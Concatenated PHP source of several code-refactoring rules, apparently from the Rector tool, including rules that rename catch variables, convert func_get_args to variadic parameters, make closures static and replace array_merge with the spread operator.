@param ClassMethod|Function_|Closure|FileWithoutNamespace|Namespace_ $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } $hasChanged = \false; foreach ($node->stmts as $key => $stmt) { if ($this->shouldSkip($stmt)) { continue; } // variable defined first only resolvable by Scope pulled from Stmt $scope = $stmt->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { continue; } /** @var TryCatch $stmt */ $catch = $stmt->catches[0]; /** @var Variable $catchVar */ $catchVar = $catch->var; /** @var string $oldVariableName */ $oldVariableName = (string) $this->getName($catchVar); $typeShortName = $this->resolveVariableName($catch->types[0]); $newVariableName = $this->resolveNewVariableName($typeShortName); $objectType = new ObjectType($newVariableName); $newVariableName = $this->propertyNaming->fqnToVariableName($objectType); if ($oldVariableName === $newVariableName) { continue; } $isFoundInPrevious = $scope->hasVariableType($newVariableName)->yes(); if ($isFoundInPrevious) { return null; } $catch->var = new Variable($newVariableName); $this->renameVariableInStmts($catch, $oldVariableName, $newVariableName, $key, $node->stmts, $node->stmts[$key + 1] ?? null); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } private function resolveNewVariableName(string $typeShortName) : string { return Strings::replace(\lcfirst($typeShortName), self::STARTS_WITH_ABBREVIATION_REGEX, static function (array $matches) : string { $output = isset($matches[1]) ? \strtolower((string) $matches[1]) : ''; $output .= $matches[2] ?? ''; return $output . ($matches[3] ?? ''); }); } private function shouldSkip(Stmt $stmt) : bool { if (!$stmt instanceof TryCatch) { return \true; } if (\count($stmt->catches) !== 1) { return \true; } if (\count($stmt->catches[0]->types) !== 1) { return \true; } $catch = $stmt->catches[0]; return !$catch->var instanceof Variable; } /** * @param Stmt[] $stmts */ private function renameVariableInStmts(Catch_ $catch, string $oldVariableName, string $newVariableName, int $key, array $stmts, ?Stmt $stmt) : void { $this->traverseNodesWithCallable($catch->stmts, function (Node $node) use($oldVariableName, $newVariableName) { if (!$node instanceof Variable) { return null; } if (!$this->nodeNameResolver->isName($node, $oldVariableName)) { return null; } $node->name = $newVariableName; return null; }); $this->replaceNextUsageVariable($oldVariableName, $newVariableName, $key, $stmts, $stmt); } /** * @param Stmt[] $stmts */ private function replaceNextUsageVariable(string $oldVariableName, string $newVariableName, int $key, array $stmts, ?Node $nextNode) : void { if (!$nextNode instanceof Node) { return; } $nonAssignedVariables = []; $this->traverseNodesWithCallable($nextNode, function (Node $node) use($oldVariableName, &$nonAssignedVariables) : ?int { if ($node instanceof Assign && $node->var instanceof Variable) { return NodeTraverser::STOP_TRAVERSAL; } if (!$node instanceof Variable) { return null; } if (!$this->nodeNameResolver->isName($node, $oldVariableName)) { return null; } $nonAssignedVariables[] = $node; return null; }); foreach ($nonAssignedVariables as $nonAssignedVariable) { $nonAssignedVariable->name = $newVariableName; } if (!isset($stmts[$key + 1])) { return; } if (!isset($stmts[$key + 2])) { return; } $nextNode = $stmts[$key + 2]; $key += 2; $this->replaceNextUsageVariable($oldVariableName, $newVariableName, $key, $stmts, $nextNode); } private function resolveVariableName(Name $name) : string { $originalName = $name->getAttribute(AttributeKey::ORIGINAL_NAME); // this allows to respect the name alias, if used if ($originalName instanceof Name) { return $originalName->toString(); } return $name->toString(); } } visibilityManipulator = $visibilityManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove final from constants in classes defined as final', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { final public const NAME = 'value'; } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public const NAME = 'value'; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if (!$node->isFinal()) { return null; } $hasChanged = \false; foreach ($node->getConstants() as $classConst) { if (!$classConst->isFinal()) { continue; } $this->visibilityManipulator->removeFinal($classConst); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::FINAL_CLASS_CONSTANTS; } } > */ public function getNodeTypes() : array { return [ClassConst::class]; } /** * @param ClassConst $node * @return ClassConst[]|null */ public function refactor(Node $node) : ?array { if (\count($node->consts) < 2) { return null; } /** @var Const_[] $allConsts */ $allConsts = $node->consts; /** @var Const_ $firstConst */ $firstConst = \array_shift($allConsts); $node->consts = [$firstConst]; $nextClassConsts = $this->createNextClassConsts($allConsts, $node); return \array_merge([$node], $nextClassConsts); } /** * @param Const_[] $consts * @return ClassConst[] */ private function createNextClassConsts(array $consts, ClassConst $classConst) : array { $decoratedConsts = []; foreach ($consts as $const) { $decoratedConsts[] = new ClassConst([$const], $classConst->flags, $classConst->getAttributes()); } return $decoratedConsts; } } betterNodeFinder = $betterNodeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Refactor func_get_args() in to a variadic param', [new CodeSample(<<<'CODE_SAMPLE' function run() { $args = \func_get_args(); } CODE_SAMPLE , <<<'CODE_SAMPLE' function run(...$args) { } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class, Closure::class]; } /** * @param ClassMethod|Function_|Closure $node */ public function refactor(Node $node) : ?Node { if ($node->params !== [] || $node->stmts === null) { return null; } /** @var Expression|null $expression */ $expression = $this->matchFuncGetArgsVariableAssign($node); if (!$expression instanceof Expression) { return null; } foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof Expression) { continue; } if (!$stmt->expr instanceof Assign) { continue; } $assign = $stmt->expr; if (!$this->isFuncGetArgsFuncCall($assign->expr)) { continue; } if ($assign->var instanceof Variable) { /** @var string $variableName */ $variableName = $this->getName($assign->var); unset($node->stmts[$key]); return $this->applyVariadicParams($node, $variableName); } $assign->expr = new Variable('args'); return $this->applyVariadicParams($node, 'args'); } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::VARIADIC_PARAM; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $node * @return \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure|null */ private function applyVariadicParams($node, string $variableName) { $param = $this->createVariadicParam($variableName); if ($param->var instanceof Variable && $this->hasFunctionOrClosureInside($node, $param->var)) { return null; } $node->params[] = $param; return $node; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $functionLike */ private function hasFunctionOrClosureInside($functionLike, Variable $variable) : bool { if ($functionLike->stmts === null) { return \false; } return (bool) $this->betterNodeFinder->findFirst($functionLike->stmts, function (Node $node) use($variable) : bool { if (!$node instanceof Closure && !$node instanceof Function_) { return \false; } if ($node->params !== []) { return \false; } $expression = $this->matchFuncGetArgsVariableAssign($node); if (!$expression instanceof Expression) { return \false; } /** @var Assign $assign */ $assign = $expression->expr; return $this->nodeComparator->areNodesEqual($assign->var, $variable); }); } /** * @return Expression|null * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $functionLike */ private function matchFuncGetArgsVariableAssign($functionLike) : ?Expression { /** @var Expression[] $expressions */ $expressions = $this->betterNodeFinder->findInstancesOfInFunctionLikeScoped($functionLike, Expression::class); foreach ($expressions as $expression) { if (!$expression->expr instanceof Assign) { continue; } $assign = $expression->expr; if (!$assign->expr instanceof FuncCall) { continue; } if (!$this->isName($assign->expr, 'func_get_args')) { continue; } return $expression; } return null; } private function createVariadicParam(string $variableName) : Param { $variable = new Variable($variableName); return new Param($variable, null, null, \false, \true); } private function isFuncGetArgsFuncCall(Expr $expr) : bool { if (!$expr instanceof FuncCall) { return \false; } return $this->isName($expr, 'func_get_args'); } } visibilityManipulator = $visibilityManipulator; $this->reflectionResolver = $reflectionResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Make method visibility same as parent one', [new CodeSample(<<<'CODE_SAMPLE' class ChildClass extends ParentClass { public function run() { } } class ParentClass { protected function run() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class ChildClass extends ParentClass { protected function run() { } } class ParentClass { protected function run() { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $classReflection = $this->reflectionResolver->resolveClassReflection($node); if (!$classReflection instanceof ClassReflection) { return null; } if ($classReflection->isAnonymous()) { return null; } $parentClassReflections = $classReflection->getParents(); if ($parentClassReflections === []) { return null; } $hasChanged = \false; $interfaces = $classReflection->getInterfaces(); foreach ($node->getMethods() as $classMethod) { if ($classMethod->isMagic()) { continue; } /** @var string $methodName */ $methodName = $this->getName($classMethod->name); if ($classMethod->isPublic()) { foreach ($interfaces as $interface) { if ($interface->hasNativeMethod($methodName)) { continue 2; } } } foreach ($parentClassReflections as $parentClassReflection) { $nativeClassReflection = $parentClassReflection->getNativeReflection(); // the class reflection above takes also @method annotations into an account if (!$nativeClassReflection->hasMethod($methodName)) { continue; } /** @var ReflectionMethod $parentReflectionMethod */ $parentReflectionMethod = $nativeClassReflection->getMethod($methodName); if ($this->isClassMethodCompatibleWithParentReflectionMethod($classMethod, $parentReflectionMethod)) { continue 2; } $this->changeClassMethodVisibilityBasedOnReflectionMethod($classMethod, $parentReflectionMethod); $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } private function isClassMethodCompatibleWithParentReflectionMethod(ClassMethod $classMethod, ReflectionMethod $reflectionMethod) : bool { if ($reflectionMethod->isPublic() && $classMethod->isPublic()) { return \true; } if ($reflectionMethod->isProtected() && $classMethod->isProtected()) { return \true; } if (!$reflectionMethod->isPrivate()) { return \false; } return $classMethod->isPrivate(); } private function changeClassMethodVisibilityBasedOnReflectionMethod(ClassMethod $classMethod, ReflectionMethod $reflectionMethod) : void { if ($reflectionMethod->isPublic()) { $this->visibilityManipulator->makePublic($classMethod); return; } if ($reflectionMethod->isProtected()) { $this->visibilityManipulator->makeProtected($classMethod); return; } if ($reflectionMethod->isPrivate()) { $this->visibilityManipulator->makePrivate($classMethod); } } } setValue(5); $value2 = new Value; $value2->setValue(1); } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run() { $value = new Value; $value->setValue(5); $value2 = new Value; $value2->setValue(1); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class, Closure::class]; } /** * @param ClassMethod|Function_|Closure $node */ public function refactor(Node $node) : ?Node { // skip methods with no bodies (e.g interface methods) if ($node->stmts === null) { return null; } $this->reset(); $hasChanged = \false; $newStmts = []; foreach ($node->stmts as $key => $stmt) { $currentStmtVariableName = $this->resolveCurrentStmtVariableName($stmt); if ($this->shouldAddEmptyLine($currentStmtVariableName, $node, $key)) { $hasChanged = \true; // insert newline before stmt $newStmts[] = new Nop(); } $newStmts[] = $stmt; $this->previousPreviousStmtVariableName = $this->previousStmtVariableName; $this->previousStmtVariableName = $currentStmtVariableName; } $node->stmts = $newStmts; return $hasChanged ? $node : null; } private function reset() : void { $this->previousStmtVariableName = null; $this->previousPreviousStmtVariableName = null; } private function resolveCurrentStmtVariableName(Stmt $stmt) : ?string { if (!$stmt instanceof Expression) { return null; } $stmtExpr = $stmt->expr; if ($stmtExpr instanceof Assign || $stmtExpr instanceof MethodCall) { if ($this->shouldSkipLeftVariable($stmtExpr)) { return null; } if (!$stmtExpr->var instanceof MethodCall && !$stmtExpr->var instanceof StaticCall) { return $this->getName($stmtExpr->var); } } return null; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $node */ private function shouldAddEmptyLine(?string $currentStmtVariableName, $node, int $key) : bool { if (!$this->isNewVariableThanBefore($currentStmtVariableName)) { return \false; } // this is already empty line before return !$this->isPrecededByEmptyLine($node, $key); } /** * @param \PhpParser\Node\Expr\Assign|\PhpParser\Node\Expr\MethodCall $node */ private function shouldSkipLeftVariable($node) : bool { if (!$node->var instanceof Variable) { return \false; } // local method call return $this->nodeNameResolver->isName($node->var, 'this'); } private function isNewVariableThanBefore(?string $currentStmtVariableName) : bool { if ($this->previousPreviousStmtVariableName === null) { return \false; } if ($this->previousStmtVariableName === null) { return \false; } if ($currentStmtVariableName === null) { return \false; } if ($this->previousStmtVariableName !== $this->previousPreviousStmtVariableName) { return \false; } return $this->previousStmtVariableName !== $currentStmtVariableName; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $node */ private function isPrecededByEmptyLine($node, int $key) : bool { if ($node->stmts === null) { return \false; } $previousNode = $node->stmts[$key - 1]; $currentNode = $node->stmts[$key]; return \abs($currentNode->getLine() - $previousNode->getLine()) >= 2; } } staticGuard = $staticGuard; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes Closure to be static when possible', [new CodeSample(<<<'CODE_SAMPLE' function () { if (rand(0, 1)) { return 1; } return 2; } CODE_SAMPLE , <<<'CODE_SAMPLE' static function () { if (rand(0, 1)) { return 1; } return 2; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Closure::class]; } /** * @param Closure $node */ public function refactor(Node $node) : ?Node { if (!$this->staticGuard->isLegal($node)) { return null; } $node->static = \true; return $node; } } >> */ private const FORMAT_SPECIFIERS = ['%s' => ['PHPStan\\Type\\StringType'], '%d' => ['PHPStan\\Type\\Constant\\ConstantIntegerType', 'PHPStan\\Type\\IntegerRangeType', 'PHPStan\\Type\\IntegerType']]; /** * @var bool */ private $always = \false; /** * @var string */ private $sprintfFormat = ''; /** * @var Expr[] */ private $argumentVariables = []; public function configure(array $configuration) : void { $this->always = $configuration[self::ALWAYS] ?? \false; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Convert enscaped {$string} to more readable sprintf or concat, if no mask is used', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' echo "Unsupported format {$format} - use another"; echo "Try {$allowed}"; CODE_SAMPLE , <<<'CODE_SAMPLE' echo sprintf('Unsupported format %s - use another', $format); echo 'Try ' . $allowed; CODE_SAMPLE , [self::ALWAYS => \false]), new ConfiguredCodeSample(<<<'CODE_SAMPLE' echo "Unsupported format {$format} - use another"; echo "Try {$allowed}"; CODE_SAMPLE , <<<'CODE_SAMPLE' echo sprintf('Unsupported format %s - use another', $format); echo sprintf('Try %s', $allowed); CODE_SAMPLE , [self::ALWAYS => \true])]); } /** * @return array> */ public function getNodeTypes() : array { return [Encapsed::class]; } /** * @param Encapsed $node */ public function refactor(Node $node) : ?Node { if ($this->shouldSkip($node)) { return null; } $this->sprintfFormat = ''; $this->argumentVariables = []; foreach ($node->parts as $part) { if ($part instanceof EncapsedStringPart) { $this->collectEncapsedStringPart($part); } else { $this->collectExpr($part); } } return $this->createSprintfFuncCallOrConcat($this->sprintfFormat, $this->argumentVariables); } private function shouldSkip(Encapsed $encapsed) : bool { return $encapsed->hasAttribute(AttributeKey::DOC_LABEL); } private function collectEncapsedStringPart(EncapsedStringPart $encapsedStringPart) : void { $stringValue = $encapsedStringPart->value; if ($stringValue === "\n") { $this->argumentVariables[] = new ConstFetch(new Name('PHP_EOL')); $this->sprintfFormat .= '%s'; return; } $this->sprintfFormat .= Strings::replace($stringValue, '#%#', '%%'); } private function collectExpr(Expr $expr) : void { $type = $this->nodeTypeResolver->getType($expr); $found = \false; foreach (self::FORMAT_SPECIFIERS as $key => $types) { if (\in_array(\get_class($type), $types, \true)) { $this->sprintfFormat .= $key; $found = \true; break; } } if (!$found) { $this->sprintfFormat .= '%s'; } // remove: ${wrap} → $wrap if ($expr instanceof Variable) { $expr->setAttribute(AttributeKey::ORIGINAL_NODE, null); } $this->argumentVariables[] = $expr; } /** * @param Expr[] $argumentVariables * @return \PhpParser\Node\Expr\BinaryOp\Concat|\PhpParser\Node\Expr\FuncCall|\PhpParser\Node\Expr|null */ private function createSprintfFuncCallOrConcat(string $mask, array $argumentVariables) { $bareMask = \str_repeat('%s', \count($argumentVariables)); if ($mask === $bareMask) { if (\count($argumentVariables) === 1) { return $argumentVariables[0]; } return $this->nodeFactory->createConcat($argumentVariables); } if (!$this->always) { $singleValueConcat = $this->createSingleValueEdgeConcat($argumentVariables, $mask); if ($singleValueConcat instanceof Concat) { return $singleValueConcat; } } // checks for windows or linux line ending. \n is contained in both. if (\strpos($mask, "\n") !== \false) { return null; } $string = $this->createString($mask); $arguments = [new Arg($string)]; foreach ($argumentVariables as $argumentVariable) { $arguments[] = new Arg($argumentVariable); } return new FuncCall(new Name('sprintf'), $arguments); } /** * @param Expr[] $argumentVariables */ private function createSingleValueEdgeConcat(array $argumentVariables, string $mask) : ?Concat { if (\count($argumentVariables) !== 1) { return null; } if (\substr_count($mask, '%s') !== 1 && \substr_count($mask, '%d') !== 1) { return null; } $cleanMask = Strings::replace($mask, '#\\%\\%#', '%'); if (\substr_compare($mask, '%s', -\strlen('%s')) === 0 || \substr_compare($mask, '%d', -\strlen('%d')) === 0) { $bareString = new String_(\substr($cleanMask, 0, -2)); return new Concat($bareString, $argumentVariables[0]); } if (\strncmp($mask, '%s', \strlen('%s')) === 0 || \strncmp($mask, '%d', \strlen('%d')) === 0) { $bareString = new String_(\substr($cleanMask, 2)); return new Concat($argumentVariables[0], $bareString); } return null; } private function createString(string $value) : String_ { $kind = \strpos($value, "'") !== \false ? String_::KIND_DOUBLE_QUOTED : String_::KIND_SINGLE_QUOTED; return new String_($value, ['kind' => $kind]); } } > */ public function getNodeTypes() : array { return [Encapsed::class]; } /** * @param Encapsed $node */ public function refactor(Node $node) : ?Node { $startTokenPos = $node->getStartTokenPos(); $hasVariableBeenWrapped = \false; foreach ($node->parts as $index => $nodePart) { if ($nodePart instanceof Variable) { $previousNode = $node->parts[$index - 1] ?? null; $previousNodeEndTokenPosition = $previousNode instanceof Node ? $previousNode->getEndTokenPos() : $startTokenPos; if ($previousNodeEndTokenPosition + 1 === $nodePart->getStartTokenPos()) { $hasVariableBeenWrapped = \true; $node->parts[$index] = new Variable($nodePart->name); } } } if (!$hasVariableBeenWrapped) { return null; } return $node; } } nodeFinder = $nodeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change multidimensional array access in foreach to array destruct', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { /** * @param array $users */ public function run(array $users) { foreach ($users as $user) { echo $user['id']; echo sprintf('Name: %s', $user['name']); } } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { /** * @param array $users */ public function run(array $users) { foreach ($users as ['id' => $id, 'name' => $name]) { echo $id; echo sprintf('Name: %s', $name); } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Foreach_::class]; } /** * @param Foreach_ $node */ public function refactor(Node $node) : ?Node { $usedDestructedValues = $this->replaceValueArrayAccessorsInForeachTree($node); if ($usedDestructedValues !== []) { $node->valueVar = new Array_($this->getArrayItems($usedDestructedValues)); return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::ARRAY_DESTRUCT; } /** * Go through the foreach tree and replace array accessors on "foreach variable" * with variables which will be created for array destructor. * * @return array List of destructor variables we need to create in format array key name => variable name */ private function replaceValueArrayAccessorsInForeachTree(Foreach_ $foreach) : array { $usedVariableNames = $this->getUsedVariableNamesInForeachTree($foreach); $createdDestructedVariables = []; $this->traverseNodesWithCallable($foreach->stmts, function (Node $traverseNode) use($foreach, $usedVariableNames, &$createdDestructedVariables) { if (!$traverseNode instanceof ArrayDimFetch) { return null; } if ($this->nodeComparator->areNodesEqual($traverseNode->var, $foreach->valueVar) === \false) { return null; } $dim = $traverseNode->dim; if (!$dim instanceof String_) { $createdDestructedVariables = []; return NodeTraverser::STOP_TRAVERSAL; } $destructedVariable = $this->getDestructedVariableName($usedVariableNames, $dim); $createdDestructedVariables[$dim->value] = $destructedVariable; return new Variable($destructedVariable); }); return $createdDestructedVariables; } /** * Get all variable names which are used in the foreach tree. We need this so that we don't create array destructor * with variable name which is already used somewhere bellow * * @return list */ private function getUsedVariableNamesInForeachTree(Foreach_ $foreach) : array { /** @var list $variableNodes */ $variableNodes = $this->nodeFinder->findInstanceOf($foreach, Variable::class); return \array_unique(\array_map(function (Variable $variable) : string { return (string) $this->getName($variable); }, $variableNodes)); } /** * Get variable name that will be used for destructor syntax. If variable name is already occupied * it will find the first name available by adding numbers after the variable name * * @param list $usedVariableNames */ private function getDestructedVariableName(array $usedVariableNames, String_ $string) : string { $desiredVariableName = (string) $string->value; if (\in_array($desiredVariableName, $usedVariableNames, \true) === \false) { return $desiredVariableName; } $i = 1; $variableName = \sprintf('%s%s', $desiredVariableName, $i); while (\in_array($variableName, $usedVariableNames, \true)) { ++$i; $variableName = \sprintf('%s%s', $desiredVariableName, $i); } return $variableName; } /** * Convert key-value pairs to ArrayItem instances * * @param array $usedDestructedValues * * @return list */ private function getArrayItems(array $usedDestructedValues) : array { $items = []; foreach ($usedDestructedValues as $key => $value) { $items[] = new ArrayItem(new Variable($value), new String_($key)); } return $items; } } arrayTypeAnalyzer = $arrayTypeAnalyzer; $this->phpVersionProvider = $phpVersionProvider; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change array_merge() to spread operator', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run($iter1, $iter2) { $values = array_merge(iterator_to_array($iter1), iterator_to_array($iter2)); // Or to generalize to all iterables $anotherValues = array_merge( is_array($iter1) ? $iter1 : iterator_to_array($iter1), is_array($iter2) ? $iter2 : iterator_to_array($iter2) ); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run($iter1, $iter2) { $values = [...$iter1, ...$iter2]; // Or to generalize to all iterables $anotherValues = [...$iter1, ...$iter2]; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if ($this->isName($node, 'array_merge')) { return $this->refactorArray($node); } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::ARRAY_SPREAD; } private function refactorArray(FuncCall $funcCall) : ?Array_ { if ($funcCall->isFirstClassCallable()) { return null; } $array = new Array_(); foreach ($funcCall->args as $arg) { if (!$arg instanceof Arg) { continue; } // cannot handle unpacked arguments if ($arg->unpack) { return null; } $value = $arg->value; if ($this->shouldSkipArrayForInvalidTypeOrKeys($value)) { return null; } if ($value instanceof Array_) { $array->items = \array_merge($array->items, $value->items); continue; } $value = $this->resolveValue($value); $array->items[] = $this->createUnpackedArrayItem($value); } return $array; } private function shouldSkipArrayForInvalidTypeOrKeys(Expr $expr) : bool { // we have no idea what it is → cannot change it if (!$this->arrayTypeAnalyzer->isArrayType($expr)) { return \true; } $arrayStaticType = $this->getType($expr); if (!$arrayStaticType instanceof ArrayType) { return \true; } return !$this->isArrayKeyTypeAllowed($arrayStaticType); } private function isArrayKeyTypeAllowed(ArrayType $arrayType) : bool { if ($arrayType->getKeyType()->isInteger()->yes()) { return \true; } // php 8.1+ allow mixed key: int, string, and null return $this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::ARRAY_SPREAD_STRING_KEYS); } private function resolveValue(Expr $expr) : Expr { if ($expr instanceof FuncCall && $this->isIteratorToArrayFuncCall($expr)) { /** @var Arg $arg */ $arg = $expr->args[0]; /** @var FuncCall $expr */ $expr = $arg->value; } if (!$expr instanceof Ternary) { return $expr; } if (!$expr->cond instanceof FuncCall) { return $expr; } if (!$this->isName($expr->cond, 'is_array')) { return $expr; } if ($expr->if instanceof Variable && $this->isIteratorToArrayFuncCall($expr->else)) { return $expr->if; } return $expr; } private function createUnpackedArrayItem(Expr $expr) : ArrayItem { return new ArrayItem($expr, null, \false, [], \true); } private function isIteratorToArrayFuncCall(Expr $expr) : bool { if (!$expr instanceof FuncCall) { return \false; } if (!$this->nodeNameResolver->isName($expr, 'iterator_to_array')) { return \false; } if ($expr->isFirstClassCallable()) { return \false; } return isset($expr->getArgs()[0]); } } arrayCallableToMethodCallFactory = $arrayCallableToMethodCallFactory; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Replace call_user_func_array() with variadic', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { call_user_func_array('some_function', $items); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { some_function(...$items); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'call_user_func_array')) { return null; } if ($node->isFirstClassCallable()) { return null; } $firstArgValue = $node->getArgs()[0]->value; $secondArgValue = $node->getArgs()[1]->value; if ($firstArgValue instanceof String_) { $functionName = $this->valueResolver->getValue($firstArgValue); return $this->createFuncCall($secondArgValue, $functionName); } // method call if ($firstArgValue instanceof Array_) { return $this->createMethodCall($firstArgValue, $secondArgValue); } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::ARRAY_SPREAD; } private function createFuncCall(Expr $expr, string $functionName) : FuncCall { $args = [$this->createUnpackedArg($expr)]; return $this->nodeFactory->createFuncCall($functionName, $args); } private function createMethodCall(Array_ $array, Expr $secondExpr) : ?MethodCall { $methodCall = $this->arrayCallableToMethodCallFactory->create($array); if (!$methodCall instanceof MethodCall) { return null; } $methodCall->args[] = $this->createUnpackedArg($secondExpr); return $methodCall; } private function createUnpackedArg(Expr $expr) : Arg { return new Arg($expr, \false, \true); } } arrayCallableToMethodCallFactory = $arrayCallableToMethodCallFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Refactor call_user_func() on known class method to a method call', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run() { $result = \call_user_func([$this->property, 'method'], $args); } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run() { $result = $this->property->method($args); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'call_user_func')) { return null; } if ($node->isFirstClassCallable()) { return null; } if (!isset($node->getArgs()[0])) { return null; } $firstArgValue = $node->getArgs()[0]->value; if (!$firstArgValue instanceof Array_) { return null; } $methodCall = $this->arrayCallableToMethodCallFactory->create($firstArgValue); if (!$methodCall instanceof MethodCall) { return null; } $originalArgs = $node->args; unset($originalArgs[0]); $methodCall->args = $originalArgs; return $methodCall; } } stringTypeAnalyzer = $stringTypeAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes various implode forms to consistent one', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run(array $items) { $itemsAsStrings = implode($items); $itemsAsStrings = implode($items, '|'); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run(array $items) { $itemsAsStrings = implode('', $items); $itemsAsStrings = implode('|', $items); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isNames($node, ['implode', 'join'])) { return null; } if ($node->isFirstClassCallable()) { return null; } if (\count($node->getArgs()) === 1) { // complete default value '' $node->args[1] = $node->getArgs()[0]; $node->args[0] = new Arg(new String_('')); return $node; } $firstArg = $node->getArgs()[0]; $firstArgumentValue = $firstArg->value; $firstArgumentType = $this->getType($firstArgumentValue); if ($firstArgumentType->isString()->yes()) { return null; } if (\count($node->getArgs()) !== 2) { return null; } $secondArg = $node->getArgs()[1]; if ($this->stringTypeAnalyzer->isStringOrUnionStringOnlyType($secondArg->value)) { $node->args = \array_reverse($node->getArgs()); return $node; } return null; } } 0; ! count($array); CODE_SAMPLE , <<<'CODE_SAMPLE' $array === []; $array !== []; $array === []; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Identical::class, NotIdentical::class, BooleanNot::class, Greater::class, Smaller::class, If_::class, ElseIf_::class]; } /** * @param Identical|NotIdentical|BooleanNot|Greater|Smaller|If_|ElseIf_ $node */ public function refactor(Node $node) : ?Node { if ($node instanceof BooleanNot) { return $this->refactorBooleanNot($node); } if ($node instanceof Identical || $node instanceof NotIdentical) { if ($node->left instanceof FuncCall) { $expr = $this->matchCountFuncCallArgExpr($node->left); } elseif ($node->right instanceof FuncCall) { $expr = $this->matchCountFuncCallArgExpr($node->right); } else { return null; } if (!$expr instanceof Expr) { return null; } // not pass array type, skip if (!$this->isArray($expr)) { return null; } return $this->refactorIdenticalOrNotIdentical($node, $expr); } if ($node instanceof Smaller || $node instanceof Greater) { return $this->refactorGreaterOrSmaller($node); } return $this->refactorIfElseIf($node); } private function refactorBooleanNot(BooleanNot $booleanNot) : ?Identical { $expr = $this->matchCountFuncCallArgExpr($booleanNot->expr); if (!$expr instanceof Expr) { return null; } // not pass array type, skip if (!$this->isArray($expr)) { return null; } return new Identical($expr, new Array_([])); } private function isArray(Expr $expr) : bool { return $this->nodeTypeResolver->getNativeType($expr)->isArray()->yes(); } /** * @param \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\NotIdentical $binaryOp * @return \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\NotIdentical|null */ private function refactorIdenticalOrNotIdentical($binaryOp, Expr $expr) { if ($this->isZeroLNumber($binaryOp->right)) { $binaryOp->left = $expr; $binaryOp->right = new Array_([]); return $binaryOp; } if ($this->isZeroLNumber($binaryOp->left)) { $binaryOp->left = new Array_([]); $binaryOp->right = $expr; return $binaryOp; } return null; } /** * @param \PhpParser\Node\Expr\BinaryOp\Greater|\PhpParser\Node\Expr\BinaryOp\Smaller $binaryOp */ private function 